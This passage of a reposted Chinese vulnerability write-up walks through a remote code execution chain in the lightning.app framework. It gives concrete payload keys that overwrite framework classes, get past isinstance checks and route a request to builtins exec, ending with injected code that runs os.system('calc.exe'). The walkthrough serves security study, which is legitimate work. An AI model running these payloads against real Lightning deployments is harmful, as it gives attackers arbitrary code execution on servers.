||||
|
||||
payload:
|
||||
```
|
||||
bypass_isinstance = OrderedSet
|
||||
|
||||
# 绕过_process_requests中的isinstance(request, _APIRequest)
|
||||
"root['bypass_isinstance']": bypass_isinstance,
|
||||
# 将OrderedSet的__instancecheck__设置有内容使其返回true,但不可为可迭代的,否则isinstance会报错,因为上一句设置了
|
||||
"root['bypass_isinstance'].'__instancecheck__'": str,
|
||||
|
||||
```
|
||||
|
||||
然后将_APIRequests也覆盖为OrderedSet对象就可以通过isinstance验证进入_process_api_request
|
||||
|
||||
payload:
|
||||
```
|
||||
"root['function'].'__globals__'['_sys'].modules['lightning.app'].utilities.commands.base._APIRequest": bypass_isinstance(),
|
||||
|
||||
```
|
||||
|
||||
最后在_process_api_request中,通过 get_component_by_name(request.name) 并根据request.name的值获取到最终需要执行的类
|
||||
|
||||

|
||||
### (3)绕过isinstance(child, ComponentTuple):检测
|
||||
|
||||
在get_component_by_name中,会对传入的路径进行解析(用.分割),然后使用for循环逐层获取嵌套属性,然后返回最终嵌套的类对象
|
||||
```
|
||||
def get_component_by_name(self, component_name: str) -> Union["LightningFlow", LightningWork]:
|
||||
"""Returns the instance corresponding to the given component name."""
|
||||
from lightning.app.structures import Dict as LightningDict
|
||||
from lightning.app.structures import List as LightningList
|
||||
from lightning.app.utilities.types import ComponentTuple
|
||||
|
||||
if component_name == "root":
|
||||
return self.root
|
||||
if not component_name.startswith("root."):
|
||||
raise ValueError(f"Invalid component name {component_name}. Name must start with 'root'")
|
||||
|
||||
current = self.root
|
||||
for child_name in component_name.split(".")[1:]:
|
||||
if isinstance(current, LightningDict):
|
||||
child = current[child_name]
|
||||
elif isinstance(current, LightningList):
|
||||
child = current[int(child_name)]
|
||||
else:
|
||||
child = getattr(current, child_name, None)
|
||||
if not isinstance(child, ComponentTuple):
|
||||
raise AttributeError(f"Component '{current.name}' has no child component with name '{child_name}'.")
|
||||
current = child # type: ignore[assignment]
|
||||
return current
|
||||
|
||||
```
|
||||
|
||||
在这里我们构造的路径为root.__init__.__builtins__.exec,在逐层获取嵌套属性会对获取到的属性进行判断,如果为LightningDict则像字典一样使用 current[child_name] 获取,如果为LightningList,则将 child_name 转为整数并使用索引访问 ,否则使用 getattr(current, child_name) 动态获取对象的属性。
|
||||
|
||||
但是我们如果自定义的属性的类型肯定不会是LightningDict和LightningList,所以我们需要将其覆盖为普通的dict和list即可。并且后面的还会判断是否为ComponentTuple类型,由于这里的ComponentTuple是在函数中导入的,所以我们没法直接取覆盖ComponentTuple的值
|
||||
|
||||

|
||||
|
||||
这里会检查对象是否属于ComponentTuple元组中的任意一个类型,也就是是否是(LightningFlow, LightningWork, Dict, List)中符合其中之一
|
||||
|
||||
还记得前面我们已经OrderedSet修改了__instancecheck__属性使得使用isinstance检查都会返回True,所以这里只需将其中一个类覆盖为OrderedSet即可。这里我们将LightningFlow覆盖为OrderedSet。
|
||||
### (4)绕过isinstance(current, LightningDict)检测
|
||||
|
||||
在这里还需要注意在红框上面调用了typing.Union,如果直接将LightingFlow覆盖为OrderedSet在这里会报错,所以我们还需要对Union覆盖为普通的list即可
|
||||
|
||||
payload:
|
||||
```
|
||||
# 绕过get_component_by_name中的if not isinstance(child, ComponentTuple):
|
||||
"root['function'].'__globals__'['_sys'].modules['lightning.app'].core.LightningFlow": bypass_isinstance(),
|
||||
# 对Union覆盖为普通的`list`即可
|
||||
"root['function'].'__globals__'['_sys'].modules['typing'].Union": list,
|
||||
|
||||
```
|
||||
|
||||
由于我们构造的路径中实际上是通过self.root.__init__.__builtins__['exec']去最终获取exec对象的
|
||||
|
||||

|
||||
|
||||
没有列表类型,所以我们只需要覆盖LightningDict类也就是lightning.app.structures.Dict为普通dict即可(LightningDict是lightning.app.structures.Dict的别名)
|
||||
|
||||
payload:
|
||||
```
|
||||
# 绕过get_component_by_name中的isinstance(current, LightningDict),使其能够遍历普通字典
|
||||
"root['function'].'__globals__'['_sys'].modules['lightning.app'].structures.Dict": dict,
|
||||
|
||||
```
|
||||
|
||||
但是这里将lightning.app.structures.Dict类覆盖为普通dict后继续调试发现会导致之前的程序报错
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
在前面的程序中进行setattr的时候调用了__satattr__魔术方法,这里同样从lightning.app.structures导入Dict,由于前面我们将其覆盖成了正常的dict,所以在调用下面的_set_child_name(self, value, name)方法时会报错。
|
||||
|
||||
所以这里有两个方案,一个是将provided_state["vars"]覆盖为空,就不会经过for循环,
|
||||
|
||||
payload:
|
||||
```
|
||||
"root['vars']": {},
|
||||
|
||||
```
|
||||
|
||||
另一个是查看self._is_state_attribute(name)方法使其返回false,我们查看这个方法
|
||||
|
||||

|
||||
|
||||
这个方法对传入的name判断是否在LightningFlow._INTERNAL_STATE_VARS
|
||||
|
||||

|
||||
|
||||
所以也可以将_INTERNAL_STATE_VARS覆盖为空也可以
|
||||
```
|
||||
# or 将`_INTERNAL_STATE_VARS`覆盖为空,也不会进入报错对应的if条件语句里。
|
||||
"root['function'].'__globals__'['_sys'].modules['lightning.app'].core.flow.LightningFlow._INTERNAL_STATE_VARS": (),
|
||||
|
||||
```
|
||||
## 5、函数调用
|
||||
|
||||
经过以上操作对属性修改,我们将root.__init__.__builtins__.exec赋值给_DeltaRequest的name属性,在get_component_by_name中对路径解析并获得exec对象
|
||||
|
||||
,想要让类的实例像函数一样被调用,实际上是通过__call__方法实现的,所以通过getattr(flow, request.method_name)获取他的__call__方法,然后在下面的method(*request.args, **request.kwargs)进行调用,最终实现任意函数执行
|
||||
|
||||
payload:
|
||||
```
|
||||
injected_code = f"__import__('os').system('calc.exe')" + '''import lightning, sysfrom lightning.app.api.request_types import _DeltaRequest, _APIRequestlightning.app.core.app._DeltaRequest = _DeltaRequestfrom lightning.app.structures.dict import Dictlightning.app.structures.Dict = Dictfrom lightning.app.core.flow import LightningFlowlightning.app.core.LightningFlow = LightningFlowLightningFlow._INTERNAL_STATE_VARS = {"_paths", "_layout"}lightning.app.utilities.commands.base._APIRequest = _APIRequestdel sys.modules['lightning.app.utilities.types']'''
|
||||
|
||||
"root['function'].'__globals__'['_sys'].modules['lightning.app'].api.request_types._DeltaRequest.name": "root.__init__.__builtins__.exec",
|
||||
"root['function'].'__globals__'['_sys'].modules['lightning.app'].api.request_types._DeltaRequest.method_name": "__call__",
|
||||
"root['function'].'__globals__'['_sys'].modules['lightning.app'].api.request_types._DeltaRequest.args": (injected_code,),
|
||||
"root['function'].'__globals__'['_sys'].modules['lightning.app'].api.request_types._DeltaRequest.kwargs": {},
|
||||
"root['function'].'__globals__'['_sys'].modules['lightning.app'].api.request_types._DeltaRequest.id": "root"
|
||||
|
||||
```
|
||||
|
||||
这里注入代码里除了有我们执行命令的语句,后面还跟了一堆,这是为了将之前绕过过程中修改的类还原,否则再次更换注入命令后不会走动态赋值的那部分代码。并且动态赋值的部分代码在绕过之后,所以我们发送第一个请求后需要再发一次请求才会走我们动态覆盖变量后的逻辑
|
||||
|
||||

|
||||
|
||||
总结:首先将传入的内容通过反序列化成一个对象,然后通过对字典键的解析作为函数调用的路径,值作为赋值的内容,可以动态修改所有类的属性和方法,然后通过绕过一系列的isinstance判断,最终在get_component_by_name方法内,该方法允许我们查找任意对象,最后在method(*request.args, **request.kwargs)进行调用,最终实现任意函数执行
|
||||
|
||||
> **文章来源:奇安信攻防社区**
|
||||
> **链接:https://forum.butian.net/share/3836**
|
||||
> **作者:中铁13层打工人**
|
||||
|
||||
|
||||
|
||||
黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!
|
||||
|
||||
如侵权请私聊我们删文
|
||||
|
||||
|
||||
**END**
|
||||
|
Loading…
x
Reference in New Issue
Block a user